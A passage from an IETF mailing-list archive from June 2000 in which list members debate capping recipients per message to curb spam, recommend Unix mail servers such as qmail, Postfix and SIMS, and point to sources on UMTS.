	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Perhaps one of the solution would be to limit the amount of addressees one
email can go out to simultaneously. Imagine Joe Spammer would have to send
out his junk say to max 30 addresses at a time. Or even 100. It would not
impair normal users because we do not send mail to more than a few addresses
at a time - but it would make spamming a little more difficult.
I already hear the argument: There'd be "solutions" to circumvent this
limitation faster than it would be implemented. Still I think it is worth
the debate. What do you think?

Have a good weekend everybody!
Lillian

Lillian Komlossy || Site Manager || http://www.dmnews.com ||
http://www.imarketingnews.com || 212 925-7300 ext. 232 ||
mailto:lillian@dmnews.com



From owner-ietf-outbound  Fri Jun 16 09:50:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA11765
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 09:50:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11697
	for <ietf@ietf.org>; Fri, 16 Jun 2000 09:46:57 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5GDkvL55880;
	Fri, 16 Jun 2000 09:46:57 -0400
Message-Id: <200006161346.e5GDkvL55880@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: Faheem Ahmed Khan <Faheemak@talisma.com>
Cc: ietf@ietf.org
Subject: Re: Suggest a good email server pls 
In-Reply-To: Your message of "Fri, 16 Jun 2000 11:51:44 +0530."
             <776858455206D411848A009027E8CE802A9368@THUNDERBOLT> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <776858455206D411848A009027E8CE802A9368@THUNDERBOLT>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_2014740224P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 16 Jun 2000 09:46:56 -0400
X-Loop: ietf@ietf.org

--==_Exmh_2014740224P
Content-Type: text/plain; charset=us-ascii

On Fri, 16 Jun 2000 11:51:44 +0530, Faheem Ahmed Khan <Faheemak@talisma.com>  said:
> Can anybody suggest a good mail server on Unix pls. We are currently using
> SIMS 2.0 from SUN and need one more other than this.

Could you explain *why* you need "one more other"?  We're currently using
SIMS 3.5 for a fairly large organization (some 60K mailboxes, and we just
barely missed hitting 2 million POP checks/day at the end of the semester),
on a E6500.  There's things we don't like, but it *does* get the job done
for us.  If you were more specific regarding the lacks, and whether you've
already checked into whether upgrading from 2.0 to 3.5 doesn't address
your concerns, we might be able to give better suggestions...

Somebody suggested QMail - the problem is that under high volumes, it *isnt*
the sending of mail that will get you - it's all the Eudora users who keep
checking their mail - you need a good/fast POP service more than you need
fast mail delivery.  I don't believe QMail has a POP service....
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



--==_Exmh_2014740224P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOUov0HAt5Vm009ewEQInRQCeI2JVlwdFSDOv4G7b/2f/MM9U86kAoPTc
N4nLJ8WDucD94FlOAvSU0tDJ
=PyfD
-----END PGP SIGNATURE-----

--==_Exmh_2014740224P--



From owner-ietf-outbound  Fri Jun 16 10:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA11970
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 10:00:02 -0400 (EDT)
Received: from hawaii.globewebs.com (hawaii.globewebs.com [199.202.42.148])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11904
	for <ietf@ietf.org>; Fri, 16 Jun 2000 09:57:31 -0400 (EDT)
Received: from uklozms02.Teleglobe.CA (uklozms02.Teleglobe.CA [172.25.81.11])
	by hawaii.globewebs.com (8.8.8/8.8.8) with ESMTP id KAA09553
	for <ietf@ietf.org>; Fri, 16 Jun 2000 10:11:14 -0400 (EDT)
Received: by uklozms02.Teleglobe.CA with Internet Mail Service (5.5.2448.0)
	id <MZ0D2GKX>; Fri, 16 Jun 2000 14:41:59 +0100
Message-ID: <04BCD7586FEDD3119C0B00A0C9E4605F2C04F4@uklozms02.Teleglobe.CA>
From: "Hallgren, Michael" <michael.hallgren@teleglobe.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: Suggest a good email server pls
Date: Fri, 16 Jun 2000 14:41:57 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



 > I suggest strongly "qmail". You can process 10,000 mail over 486X machine
with qmail. For more futher info: 
 <http://www.qmail.org>  > www.qmail.org
 
 
Yes. Also Postfix - http://www.postfix.org/ <http://www.postfix.org/>  - is
worth looking at, as well as IMHO "old" Sendmail :)
 
 
mh
 
 
 > Ilker G.

-----Original Message-----
From: Faheem Ahmed Khan [mailto:Faheemak@talisma.com]
Sent: Friday, June 16, 2000 9:22 AM
To: ietf@ietf.org
Subject: Suggest a good email server pls


Can anybody suggest a good mail server on Unix pls. We are currently using
SIMS 2.0 from SUN and need one more other than this.
 
Thanx
-Faheem.
 <http://www.talisma.com/> R e l @ t i o n s h i p s  w e r e  n e v e r  s
o  e a s y 

 

 



From owner-ietf-outbound  Fri Jun 16 10:30:33 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA12832
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 10:30:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12637
	for <ietf@ietf.org>; Fri, 16 Jun 2000 10:22:14 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id HAA18760
	for <ietf@ietf.org>; Fri, 16 Jun 2000 07:21:45 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <M882AAA8>; Fri, 16 Jun 2000 14:20:46 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D285@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
Date: Fri, 16 Jun 2000 14:21:10 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


->-----Original Message-----
->From: Lillian Komlossy [mailto:Lillian@DMNEWS.COM]
->Sent: Friday, June 16, 2000 9:29 AM
->To: 'ietf@ietf.org'
->Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
->
->
->Perhaps one of the solution would be to limit the amount of 
->addressees one
->email can go out to simultaneously. 

The MX admin.. can limit the no of addressess/per outgoing mail

/pd



From owner-ietf-outbound  Fri Jun 16 11:10:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA13900
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 11:10:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13790
	for <ietf@ietf.org>; Fri, 16 Jun 2000 11:04:26 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5GF4PL34208;
	Fri, 16 Jun 2000 11:04:25 -0400
Message-Id: <200006161504.e5GF4PL34208@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-Reply-To: Your message of "Fri, 16 Jun 2000 14:21:10 -0000."
             <C7091526C06AD211A7450004AC384A350C35D285@mwabs035.emeryworld.com> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <C7091526C06AD211A7450004AC384A350C35D285@mwabs035.emeryworld.com>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1568952120P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 16 Jun 2000 11:04:24 -0400
X-Loop: ietf@ietf.org

--==_Exmh_-1568952120P
Content-Type: text/plain; charset=us-ascii

On Fri, 16 Jun 2000 14:21:10 -0000, "Dawson, Peter D" <Dawson.Peter@emeryworld.com>  said:
> The MX admin.. can limit the no of addressess/per outgoing mail

I'm assuming that if there's an "MX admin", that you're referring to a software
package called 'MX', and not the 'MX' DNS record - the MX DNS record doesn't
allow limiting of addresses/mail, it's just a pointer.

I am unaware of an 'MX' package.  However, note that Sendmail currently has
between 70% and 90% of the MTA market, depending on what numbers you use, and
Sendmail 8.10.2 *will* allow the *inbound* limiting of maximum addresses/mail.

In any case, there's two possibilities:

1) The MX admin is unaware of the spammer's activities - and will probably
bounce the user off the machine as soon as he finds out.  Thus, the limit
doesn't matter.

2) The MX admin is aware and approves.  Now explain to me *why* the MX admin
is going to set this limit, and annoy the person paying his salary??

Limiting the number of mails per *incoming* connection is a bit better - but
not much.  It makes sense to set it on my workstation, as any mail that shows
up with more than 1 (or maybe 2) recipients is obviously broken.  But even then,
if there's more than 1 or 2 recipeints, all the limit does is save me from
having to bounce the other bad addresses.

On a large mail hub, it's even worse - we often *legitimately* have several
hundred or even thousand recipients for our *internal* mailing lists.  And I
don;'t know of ANY software that allows tuning max recipients/message on
a per-source basis....

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech




--==_Exmh_-1568952120P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOUpB93At5Vm009ewEQKNCQCgsZNMViADMvT3+XpJcI9KLv1YcNsAoKhg
oRE2J+TkXLCdxhWlMudUrDAN
=7tvh
-----END PGP SIGNATURE-----

--==_Exmh_-1568952120P--



From owner-ietf-outbound  Fri Jun 16 11:20:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA14152
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 11:20:03 -0400 (EDT)
Received: from ztxmail04.ztx.compaq.com (ztxmail04.ztx.compaq.com [161.114.1.208])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13993
	for <ietf@ietf.org>; Fri, 16 Jun 2000 11:12:47 -0400 (EDT)
Received: by ztxmail04.ztx.compaq.com (Postfix, from userid 12345)
	id DFE8673F; Fri, 16 Jun 2000 10:12:18 -0500 (CDT)
Received: from excreo-gh01.reo.dec.com (excreo-gh01.reo.cpqcorp.net [16.41.128.40])
	by ztxmail04.ztx.compaq.com (Postfix) with ESMTP id 75D7337E
	for <ietf@ietf.org>; Fri, 16 Jun 2000 10:12:18 -0500 (CDT)
Received: by EXCREO-GH01 with Internet Mail Service (5.5.2650.21)
	id <NBCLM1H4>; Fri, 16 Jun 2000 16:12:17 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9ADB@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: ietf@ietf.org
Subject: Universal Mobile Telecommunication Service (UMTS)
Date: Fri, 16 Jun 2000 16:12:00 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Hi there Folks
	Juat a quickie, anyone know where I can get information relating to
Universal Mobile Telecommunication Service (UMTS) ?
Thank Jon. 


> Jonathan Parkinson
> EMEA Operations Management Center.
> Remote Server and Network Management Group.
> Unix Support .
> Compaq Computer Limited 
> 
> Tel: DTN 7830 1118
> Tel: External +44 (0)118 201118
> Fax: +44 (0)118 201175
> Jonathan.parkinson@compaq.com
> 



From owner-ietf-outbound  Fri Jun 16 11:30:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA14427
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 11:30:02 -0400 (EDT)
Received: from sumermail.sumerbank.com.tr ([212.175.28.199])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14021
	for <ietf@ietf.org>; Fri, 16 Jun 2000 11:14:00 -0400 (EDT)
Received: from mailserver.sumerbank.com.tr ([212.175.28.67]) by sumermail.sumerbank.com.tr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id NBCX57Q9; Fri, 16 Jun 2000 18:15:56 +0300
Received: by mailserver.sumerbank.com.tr with Internet Mail Service (5.5.2448.0)
	id <NA5N2PXD>; Fri, 16 Jun 2000 18:14:56 +0300
Message-ID: <2780B6C7FA25D211AAF700A0C96EAD5AFA783C@mailserver.sumerbank.com.tr>
From: "R.Ilker Gokhan" <IlkerG@SUMERBANK.COM.TR>
To: ietf@ietf.org
Subject: RE: Suggest a good email server pls 
Date: Fri, 16 Jun 2000 18:14:56 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD7A5.A14B1EB6"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD7A5.A14B1EB6
Content-Type: text/plain;
	charset="iso-8859-1"



>-----Original Message-----
>From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu]
>Sent: Friday, June 16, 2000 4:47 PM
>To: Faheem Ahmed Khan
>Cc: ietf@ietf.org
>Subject: Re: Suggest a good email server pls 
>
>
>On Fri, 16 Jun 2000 11:51:44 +0530, Faheem Ahmed Khan 
><Faheemak@talisma.com>  said:
>> Can anybody suggest a good mail server on Unix pls. We are 
>currently using
>> SIMS 2.0 from SUN and need one more other than this.
>
>Could you explain *why* you need "one more other"?  We're 
>currently using
>SIMS 3.5 for a fairly large organization (some 60K mailboxes, 
>and we just
>barely missed hitting 2 million POP checks/day at the end of 
>the semester),
>on a E6500.  There's things we don't like, but it *does* get 
>the job done
>for us.  If you were more specific regarding the lacks, and 
>whether you've
>already checked into whether upgrading from 2.0 to 3.5 doesn't address
>your concerns, we might be able to give better suggestions...
>
>Somebody suggested QMail - the problem is that under high 
>volumes, it *isnt*

No, it is used by Hotmail, USA.net, Yahoo! mail :-)..

>the sending of mail that will get you - it's all the Eudora 
>users who keep
>checking their mail - you need a good/fast POP service more 
>than you need
>fast mail delivery.  I don't believe QMail has a POP service....

No, vpopmail, qmail-pop3d etc...

>-- 
>				Valdis Kletnieks
>				Operating Systems Analyst
>				Virginia Tech
>
>
>

------_=_NextPart_001_01BFD7A5.A14B1EB6
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2448.0">
<TITLE>RE: Suggest a good email server pls </TITLE>
</HEAD>
<BODY>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt;-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt;From: Valdis.Kletnieks@vt.edu [<A =
HREF=3D"mailto:Valdis.Kletnieks@vt.edu">mailto:Valdis.Kletnieks@vt.edu</=
A>]</FONT>
<BR><FONT SIZE=3D2>&gt;Sent: Friday, June 16, 2000 4:47 PM</FONT>
<BR><FONT SIZE=3D2>&gt;To: Faheem Ahmed Khan</FONT>
<BR><FONT SIZE=3D2>&gt;Cc: ietf@ietf.org</FONT>
<BR><FONT SIZE=3D2>&gt;Subject: Re: Suggest a good email server pls =
</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;On Fri, 16 Jun 2000 11:51:44 +0530, Faheem Ahmed =
Khan </FONT>
<BR><FONT SIZE=3D2>&gt;&lt;Faheemak@talisma.com&gt;&nbsp; said:</FONT>
<BR><FONT SIZE=3D2>&gt;&gt; Can anybody suggest a good mail server on =
Unix pls. We are </FONT>
<BR><FONT SIZE=3D2>&gt;currently using</FONT>
<BR><FONT SIZE=3D2>&gt;&gt; SIMS 2.0 from SUN and need one more other =
than this.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Could you explain *why* you need &quot;one more =
other&quot;?&nbsp; We're </FONT>
<BR><FONT SIZE=3D2>&gt;currently using</FONT>
<BR><FONT SIZE=3D2>&gt;SIMS 3.5 for a fairly large organization (some =
60K mailboxes, </FONT>
<BR><FONT SIZE=3D2>&gt;and we just</FONT>
<BR><FONT SIZE=3D2>&gt;barely missed hitting 2 million POP checks/day =
at the end of </FONT>
<BR><FONT SIZE=3D2>&gt;the semester),</FONT>
<BR><FONT SIZE=3D2>&gt;on a E6500.&nbsp; There's things we don't like, =
but it *does* get </FONT>
<BR><FONT SIZE=3D2>&gt;the job done</FONT>
<BR><FONT SIZE=3D2>&gt;for us.&nbsp; If you were more specific =
regarding the lacks, and </FONT>
<BR><FONT SIZE=3D2>&gt;whether you've</FONT>
<BR><FONT SIZE=3D2>&gt;already checked into whether upgrading from 2.0 =
to 3.5 doesn't address</FONT>
<BR><FONT SIZE=3D2>&gt;your concerns, we might be able to give better =
suggestions...</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Somebody suggested QMail - the problem is that =
under high </FONT>
<BR><FONT SIZE=3D2>&gt;volumes, it *isnt*</FONT>
</P>

<P><FONT SIZE=3D2>No, it is used by Hotmail, USA.net, Yahoo! mail =
:-)..</FONT>
</P>

<P><FONT SIZE=3D2>&gt;the sending of mail that will get you - it's all =
the Eudora </FONT>
<BR><FONT SIZE=3D2>&gt;users who keep</FONT>
<BR><FONT SIZE=3D2>&gt;checking their mail - you need a good/fast POP =
service more </FONT>
<BR><FONT SIZE=3D2>&gt;than you need</FONT>
<BR><FONT SIZE=3D2>&gt;fast mail delivery.&nbsp; I don't believe QMail =
has a POP service....</FONT>
</P>

<P><FONT SIZE=3D2>No, vpopmail, qmail-pop3d etc...</FONT>
</P>

<P><FONT SIZE=3D2>&gt;-- </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Valdis Kletnieks</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Operating Systems =
Analyst</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Virginia Tech</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BFD7A5.A14B1EB6--



From owner-ietf-outbound  Fri Jun 16 11:40:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA14740
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 11:40:03 -0400 (EDT)
Received: from tieke1.tieke.fi (fw.tieke.fi [195.197.205.68])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14659
	for <ietf@ietf.org>; Fri, 16 Jun 2000 11:37:39 -0400 (EDT)
Received: by TIEKE1 with Internet Mail Service (5.5.2650.21)
	id <LJ3J0C3X>; Fri, 16 Jun 2000 18:39:52 +0300
Message-ID: <621574AE86FAD3118D1D0000E22138A903E706@TIEKE1>
From: Erkki Kolehmainen <erkki.kolehmainen@tieke.fi>
To: "'Parkinson, Jonathan'" <Jonathan.Parkinson@compaq.com>, ietf@ietf.org
Subject: RE: Universal Mobile Telecommunication Service (UMTS)
Date: Fri, 16 Jun 2000 18:39:52 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA14659
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Try http://www.umts-forum.org/
and http://www.etsi.org for 3GPP.

Regards, EIK
__________________________________________
Erkki I. Kolehmainen
TIEKE Tietotekniikan kehittämiskeskus ry
TIEKE Finnish Information Technology Development Centre 
Salomonkatu 17 A, 10th floor, FIN-00100 HELSINKI, FINLAND
Phone: +358 9 4763 0301, Fax: +358 9 4763 0399
http://www.tieke.fi    erkki.kolehmainen@tieke.fi


-----Original Message-----
From: Parkinson, Jonathan [mailto:Jonathan.Parkinson@compaq.com]
Sent: Friday, June 16, 2000 5:12 PM
To: ietf@ietf.org
Subject: Universal Mobile Telecommunication Service (UMTS)


Hi there Folks
	Juat a quickie, anyone know where I can get information relating to
Universal Mobile Telecommunication Service (UMTS) ?
Thank Jon. 


> Jonathan Parkinson
> EMEA Operations Management Center.
> Remote Server and Network Management Group.
> Unix Support .
> Compaq Computer Limited 
> 
> Tel: DTN 7830 1118
> Tel: External +44 (0)118 201118
> Fax: +44 (0)118 201175
> Jonathan.parkinson@compaq.com
> 



From owner-ietf-outbound  Fri Jun 16 11:50:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA15010
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 11:50:03 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14804
	for <ietf@ietf.org>; Fri, 16 Jun 2000 11:41:22 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 132yF7-0002WU-00; Fri, 16 Jun 2000 16:41:13 +0100
Date: Fri, 16 Jun 2000 16:41:10 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
cc: ietf@ietf.org
Subject: Re: Universal Mobile Telecommunication Service (UMTS)
In-Reply-To: <71C4C55F198BD211B24F0000F842F15807ED9ADB@reoexc6.reo.cpqcorp.net>
Message-ID: <Pine.GSO.4.21.0006161640260.5201-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Fri, 16 Jun 2000, Parkinson, Jonathan wrote:

> 	Juat a quickie, anyone know where I can get information relating to
> Universal Mobile Telecommunication Service (UMTS) ?

http://www.umts-forum.org/

L.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Fri Jun 16 12:00:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA15266
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 12:00:01 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14910
	for <ietf@ietf.org>; Fri, 16 Jun 2000 11:46:35 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5GFkBL55138;
	Fri, 16 Jun 2000 11:46:11 -0400
Message-Id: <200006161546.e5GFkBL55138@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: "R.Ilker Gokhan" <IlkerG@SUMERBANK.COM.TR>
Cc: ietf@ietf.org
Subject: Re: Suggest a good email server pls 
In-Reply-To: Your message of "Fri, 16 Jun 2000 18:14:56 +0300."
             <2780B6C7FA25D211AAF700A0C96EAD5AFA783C@mailserver.sumerbank.com.tr> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <2780B6C7FA25D211AAF700A0C96EAD5AFA783C@mailserver.sumerbank.com.tr>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-820965568P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 16 Jun 2000 11:46:11 -0400
X-Loop: ietf@ietf.org

--==_Exmh_-820965568P
Content-Type: text/plain; charset=us-ascii

On Fri, 16 Jun 2000 18:14:56 +0300, "R.Ilker Gokhan" <IlkerG@sumerbank.com.tr>  said:
> >Somebody suggested QMail - the problem is that under high 
> >volumes, it *isnt*
> 
> No, it is used by Hotmail, USA.net, Yahoo! mail :-)..

I didn't say QMail wasn't usable under high volumes.

What I *said* was that most systems bottleneck under the strain of mail
*download*, not mail *sending*.  You might want to check with Hotmail and
Yahoo to see how they implement POP3 checks - which incidentally aren't
QMail's job....

> >the sending of mail that will get you - it's all the Eudora 
> >users who keep
> >checking their mail - you need a good/fast POP service more 
> >than you need
> >fast mail delivery.  I don't believe QMail has a POP service....
> 
> No, vpopmail, qmail-pop3d etc...

No, those are *add ons*, aren't they?  Again - that's not qmail, that's
your POP server.
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



--==_Exmh_-820965568P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOUpLwnAt5Vm009ewEQKqngCcDiTO0enltQRw+V8zvT6BlEoh3U8Ani2f
/qMipSWJKcwC8k3M8xVn6RTG
=IGVC
-----END PGP SIGNATURE-----

--==_Exmh_-820965568P--



From owner-ietf-outbound  Fri Jun 16 12:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA15868
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 12:20:04 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15654
	for <ietf@ietf.org>; Fri, 16 Jun 2000 12:14:41 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA29174;
        Fri, 16 Jun 2000 12:14:43 -0400 (EDT)
Message-Id: <200006161614.MAA29174@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
X-PGP-Key: 2F07A741 ; 78 15 8E 8B C0 06 5D D1  BC 08 05 7F 42 81 7E 90 
To: ietf@ietf.org
Subject: CAUCE and DMA
cc: moore@cs.utk.edu
From: Keith Moore <moore@cs.utk.edu>
Date: Fri, 16 Jun 2000 12:14:43 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

A couple of people have pointed out in private email that I should
